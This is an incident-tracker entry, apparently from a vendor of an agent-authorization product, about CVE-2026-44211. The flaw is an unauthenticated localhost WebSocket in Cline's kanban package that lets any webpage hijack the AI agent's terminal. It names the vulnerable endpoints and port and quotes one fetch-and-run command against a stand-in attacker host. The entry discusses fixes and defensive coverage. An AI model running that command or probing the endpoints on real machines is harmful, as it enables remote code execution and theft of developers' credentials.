Cline AI agent 曝 CVE-2026-44211：未认证 WebSocket 可劫持终端并 RCE

Back to incident tracker

2026-05-08

HighPrimary

Cline AI agent CVE-2026-44211 allows unauthenticated WebSocket hijack and RCE

CVE-2026-44211 (CVSS 9.3): Cline’s kanban WebSocket server runs on localhost with no auth, letting any webpage hijack the agent terminal and execute arbitrary shell commands.

Cline AI / kanban npm packageTool execution / MCPUnauthenticated WebSocket terminal hijack / RCEDeveloper workstation / AI agent terminal / CI runner

What happened

A malicious webpage connects to ws://127.0.0.1:3484/api/terminal/io and injects arbitrary shell commands (e.g., curl https://attacker.com/shell.sh | bash) directly into the Cline agent’s terminal PTY — no user interaction required beyond visiting the page.

Why it matters

Arbitrary shell command execution in the developer’s environment with full access to local files, credentials, git repositories, and any systems reachable from their machine. Agent sessions can also be silently killed as denial-of-service.

Missing authorization check

WebSocket upgrade requests to agent terminal endpoints must validate the Origin header and require a startup-generated secret token before accepting any connection that can write to the agent PTY.

Would PP block it?

A PP tool-call receipt enforces what the AI agent is authorized to run, but this CVE writes directly to the PTY, bypassing agent-layer controls entirely. PP coverage would depend on a terminal-level enforcement point — a PTY wrapper or shell hook — rather than the agent SDK alone. The WebSocket server’s missing authentication is the root gap; PP cannot sign a receipt for an action that never passes through the agent’s authorization path.

Incident analysis

Timeline and technical read

Timeline

1. 2026-05-08

   Researcher Sagilayani publicly discloses CVE-2026-44211 via GitHub Security Advisory GHSA-5c57-rqjx-35g2 with full PoC.

2. 2026-05-08

   CVSS 9.3 Critical assigned. Affects all Cline versions before v2.13.0. CWE-306 + CWE-1385. No patch available at disclosure.

3. 2026-05-08

   PoC demonstrates full chain: workspace data leak → session detection → terminal hijack → RCE with macOS native dialog as proof of execution.

4. 2026-05-09

   GBHackers and security press cover the vulnerability; developers warned to disable kanban feature in untrusted network environments.

5. 2026-05-12

   No patched kanban package version available as of signal scan. Researcher recommends Origin validation, startup token, and terminal endpoint authentication as fixes.

Technical breakdown

• Three WebSocket endpoints (/api/runtime/ws, /api/terminal/io, /api/terminal/control) accept connections from any origin with no authentication or Origin header validation.
• WebSocket connections bypass browser CORS restrictions by design — any webpage can initiate a cross-origin WebSocket to localhost, making this exploitable passively from any tab visit.
• The /api/terminal/io endpoint writes raw bytes directly to the agent PTY; attacker input reaches the terminal identically to legitimate user input with no agent-layer gate in the path.
• The /api/runtime/ws endpoint immediately streams a full workspace snapshot — filesystem paths, git branches, task details, live AI chat — to any connecting client with no request required.
• Root cause is CWE-306 (Missing Authentication for Critical Function) + CWE-1385 (Missing Origin Validation in WebSockets) — both absent simultaneously creates full unauthenticated RCE from any browser tab.

Authorization boundary

Where the authorization boundary should have been

This incident is categorized as Tool execution / MCP. The relevant Permission Protocol gate is Runtime Gate. The read is conditional: the block only applies where the real action boundary is routed through a gate.

If enforced at

WebSocket server startup, terminal I/O endpoint, agent PTY input layer

Still needs

Below-agent PTY input; the WebSocket server lacks authentication before any PP receipt can be checked

Receipt required for

Opening a WebSocket connection to the agent terminal, injecting input to the agent PTY, terminating an active agent session

PP’s Runtime Gate constrains what commands an agent is authorized to execute, but CVE-2026-44211 injects commands at the PTY layer below the agent’s tool-call logic. Full coverage requires enforcement at the terminal input boundary, not only at the agent SDK level.

Start small

Put the relevant gate at this action boundary.

This incident maps to Runtime Gate. Start with the boundary that controls the actual action, then require a signed receipt before execution.

Replay this incident with a signer in the loop